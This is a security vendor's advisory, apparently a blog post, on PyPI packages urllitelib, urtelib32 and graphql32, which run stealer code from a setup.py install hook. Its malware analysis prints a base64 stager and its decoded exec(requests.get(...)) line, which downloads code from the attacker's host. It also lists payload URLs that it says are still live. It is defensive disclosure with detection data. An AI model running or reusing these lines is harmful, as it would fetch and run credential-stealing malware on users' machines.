安全情报 | Pypi再现窃密攻击投毒

简介: 9月10日起,有投毒者持续向官方Pypi仓库中投放urllitelib、urtelib32、graphql32等多个版本的恶意Py包,请及时排查。

概述

悬镜安全自研的开源组件投毒检测平台通过对主流开源软件仓库(包括Pypi、NPM、Ruby等)发布的组件包进行持续性监控和自动化代码安全分析,同时结合专家安全经验复审,能够及时发现组件包投毒事件并精确定位恶意代码片段,捕获潜在的供应链投毒攻击行为。

上周我们在Python官方仓库(Pypi)中发现多起新的恶意组件包投毒事件,值得注意的是,urllitelib、urtelib32、graphql32三个python恶意包由同一个攻击者在9月10~11号之间上传投放到Pypi仓库,在此期间攻击者连续迭代发布多个版本,这三个恶意包的代码和攻击行为具有极高相似度,其主要攻击行为是窃取受害者PC操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等),截至目前这些恶意Py包在官方仓库上已被下载近2000次(详细数据如下所示)。
图片1.png

(https://www.pepy.tech/projects/urllitelib)

图片2.png

图片3.png

目前这些投毒包已从官方仓库中下架,经悬镜供应链安全实验室确认,国内各大主流Pypi镜像源仍缓存这些恶意投毒包 ,对于使用国内镜像源的广大开发者来说依旧面临潜在的安全风险。悬镜安全提醒国内开发者们自行排查是否安装或引用以下Python恶意组件包。

图片4.png

投毒窃密分析

从09月10日开始,悬镜安全的开源组件投毒检测系统监测到投毒者(benjaminrodriguezshhh@proton.me)持续向官方Pypi仓库中投放urllitelib、urtelib32、graphql32等多个版本的恶意Py包,这些恶意包命中了检测引擎的安全风险规则,通过进一步对恶意包样本的人工分析后,确认这是一起有针对性的投毒攻击事件,投毒者的攻击对象是Windows操作系统用户,其主要攻击行为是窃取Windows操作系统、主流浏览器、社交软件以及区块链钱包软件的敏感数据。

投毒攻击流程

当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或者依赖引用恶意组件包时,将自动触发执行恶意安装包setup.py中的第一阶段攻击代码,第一阶段攻击代码将从远程服务器下载第二、三阶段的攻击载荷,经过解码后,第三阶段攻击载荷将成为最终的投毒攻击代码。

投毒包攻击流如下图所示:
4.5.png

恶意样本分析

以urllitelib(1.2.0版本)为例:攻击者在组件包setup.py中设置自定义command类CustomInstall,当开发者执行pip install urllitelib安装组件包时将触发 CustomInstall.run()函数中的第一阶段攻击代码(如下图所示)。

图片5.png

远程下载攻击载荷

第一阶段的攻击代码首先将内置的恶意代码写入config.py文件后,进一步尝试使用管理员权限执行config.py,config.py将通过HTTP Auth认证的GET请求从远程服务器下载执行伪装成图片(http: //wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png) 的第二阶段攻击Payload,第二阶段Payload使用base64进行简单编码:

ZXhlYyhyZXF1ZXN0cy5nZXQoJ2h0dHA6Ly93cHAtYXBpLTAxaHcub25yZW5kZXIuY29tL2FwaS9zdGVhbC8xMTQwODg0NDgxNjcxMTg4NTgxLycsIGhlYWRlcnM9eydhdXRoJzogJyYmQ0QmJk9OJ30pLmpzb24oKVsnY29kZSddKQ

base64解码后,第二阶段攻击Payload真实内容如下:

b"exec(requests.get('http: //wpp-api-01hw.onrender.com/api/steal/1140884481671188581/', headers={'auth': '&&CD&&ON'}).json()['code'])"

第三阶段的攻击Payload同样是通过HTTP Auth认证的GET请求从http: //wpp-api-01hw.onrender.com/api/steal/1140884481671188581/ 下载后,再进行一轮base64解码,投毒包最终的攻击载荷如下所示:

图片6.png

通过分析投毒包远程载荷代码可明显发现其主要攻击逻辑包含有系统运行环境反调试、获取操作系统基本信息、窃取浏览器用户数据(密码,cookie,浏览记录等)、获取主流应用软件用户token、盗取区块链钱包敏感数据以及开机自启动等恶意行为。

反调试&虚拟机对抗

如下图所示,恶意代码具备比较基础的反调试和虚拟机对抗能力。恶意代码在执行数据窃密操作前,如果检测到系统中存在代码逆向、进程调试、进程监控、网络流量分析以及虚拟机服务等相关进程后会尝试杀死这些进程。此外,当检测到当前操作系统的主机名、网络IP、MAC地址如果命中内置的黑名单后,会删除自身代码,躲避检测。

图片7.png

获取系统敏感信息

恶意代码除了获取操作系统设备ID、主机名、用户名、网络IP、MAC等基础信息之外,还会对系统屏幕进行截屏。这些敏感数据最终都将发送到攻击者服务器上。

图片8.png

窃取浏览器用户数据

恶意代码还会尝试遍历主流浏览器的用户数据目录,窃取浏览器中存储的用户密码、cookie、信用卡、历史浏览记录等敏感数据。

图片9.png

盗取区块链钱包账户数据

恶意代码会遍历主流数字货币钱包(例如Exodus、Atomic Wallet.等)的数据目录,对钱包账户数据进行压缩打包后发送给攻击者服务器。

图片10.png

盗取Discord及主流浏览器token

此外,恶意代码还会搜索主流浏览器和Discord的用户数据目录,尝试从leveldb、sqlite3等本地数据库中挖掘出符合特定正则表达式的用户token数据。

图片11.png

IoC数据

此次投毒组件包涉及的恶意文件和恶意链接IoC数据如下所示:

图片12.jpg

总结

截止目前,投毒攻击者所使用的恶意代码载荷URL依然有效,虽然相关的投毒组件包已经从官方仓库Pypi上下架,但其依然存活于国内各大Pypi镜像源中,因此对于国内广大开发者来说仍需提供安全防范意识,除了自行排查现有Py安装包外,建议尽量使用官方Pypi仓库源。

排查方式

使用OpenSCA-cli,将以下内容保存为db.json文件,直接执行扫描命令(opensca-cli -db db.sjon -path${project_path}),即可快速获知您的项目是否受到投毒包影响。

[
  {
    "product": "urllitelib",
    "version": "[1.0.0, 1.2.0]",
    "language": "python",
    "id": "XMIRROR-2023-70549",
    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
    "release_date": "2023-09-18"
  },
  {
    "product": "urtelib32",
    "version": "[1.7.2, 1.8.1]",
    "language": "python",
    "id": "XMIRROR-2023-70550",
    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
    "release_date": "2023-09-18"
  },
  {
    "product": "graphql32",
    "version": "[1.7.2, 1.8.4]",
    "language": "python",
    "id": "XMIRROR-2023-70551",
    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
    "release_date": "2023-09-18"
  }
]

悬镜安全也将持续监测和挖掘未知的开源组件安全风险,并及时对供应链投毒事件进行分析披露。

相关文章
|
2月前
|
安全 网络安全 数据安全/隐私保护
渗透测试-Openssl心脏出血漏洞复现
渗透测试-Openssl心脏出血漏洞复现
99 7
|
6月前
|
人工智能 TensorFlow 算法框架/工具
|
缓存 安全 JavaScript
Kimsuky APT组织使用新型的AppleSeed Android组件伪装成安全软件对韩特定目标进行攻击
我们判断该组织已经具有了Windows,MacOs,Android的攻击能力,并且将在未来的一段时期持续的活跃。
|
存储 安全 前端开发
反制Cobaltstrike的那些手段(一)
反制Cobaltstrike的那些手段
911 0
|
安全 Java fastjson
反制Cobaltstrike的那些手段(二)
反制Cobaltstrike的那些手段
389 0
|
云安全 监控 安全
攻击者使用showDoc的漏洞传播僵尸网络
近日,阿里云安全团队基于威胁情报挖掘网络攻击日志的过程中,发现了使用showDoc漏洞传播僵尸网络和挖矿软件的攻击事件,使用该手法传播僵尸网络暂未被公开报告过。
1413 0
攻击者使用showDoc的漏洞传播僵尸网络
|
安全 Linux 文件存储
APT化、高赎金与定向攻击 | 2021年度阿里云勒索攻击态势报告
约80%攻击都伴随着"数据泄露"和"双重勒索"威胁
449 0
 APT化、高赎金与定向攻击 | 2021年度阿里云勒索攻击态势报告
|
XML SQL 安全
常见高危Web漏洞原理及检测技术分析与研究
随着计算机技术以及信息网络通信技术的高速发展,人们也逐渐意识到信息安全的重要性,网络安全问题成为社会、国家的关注焦点。本文对Web漏洞的类型与原理、Web漏洞扫描技术的原理与应用进行了研究,分析了计算机网络中安全漏洞检测技术的应用策略。